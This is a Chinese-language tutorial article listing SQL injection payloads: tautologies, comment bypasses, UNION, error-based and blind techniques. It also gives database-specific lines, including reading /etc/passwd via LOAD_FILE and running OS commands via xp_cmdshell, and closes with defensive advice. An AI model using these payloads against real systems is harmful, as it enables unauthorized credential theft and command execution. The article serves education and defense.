插件窝 干货文章 SQL注入语法有哪些

SQL注入语法有哪些

SELECT 注入 SQL UNION 115    来源:    2025-04-26

SQL注入语法概述

SQL注入是一种常见的网络安全攻击技术,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,试图操纵后端数据库查询。以下是主要的SQL注入语法类型:

基础注入技术

  1. 单引号测试

    ' OR '1'='1
    ' OR 1=1 --
    
  2. 注释绕过

    admin' --
    admin' /*
    admin' #
    
  3. 联合查询注入

    ' UNION SELECT 1,2,3 --
    ' UNION SELECT username, password FROM users --
    

高级注入技术

  1. 基于错误的注入

    ' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --
    
  2. 布尔盲注

    ' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns),1,1)='a' --
    
  3. 时间盲注

    '; IF (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') > 0 WAITFOR DELAY '0:0:5' --
    

数据库特定语法

MySQL

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4 --
' UNION SELECT 1,@@version,3,4 --

MSSQL

'; EXEC xp_cmdshell('dir') --
'; SELECT * FROM OPENROWSET('SQLOLEDB', 'server';'sa';'password', 'SELECT * FROM master..sysdatabases') --

Oracle

' UNION SELECT 1,(SELECT banner FROM v$version WHERE rownum=1),3 FROM dual --

PostgreSQL

' UNION SELECT 1,current_user,3,4 --

防御建议

  1. 使用参数化查询(预编译语句)
  2. 实施输入验证和过滤
  3. 遵循最小权限原则
  4. 使用ORM框架
  5. 定期更新数据库和应用程序

请注意,这些信息仅供教育目的,帮助开发人员和安全专业人员了解SQL注入的工作原理以更好地防御此类攻击。未经授权对系统进行SQL注入测试是非法的。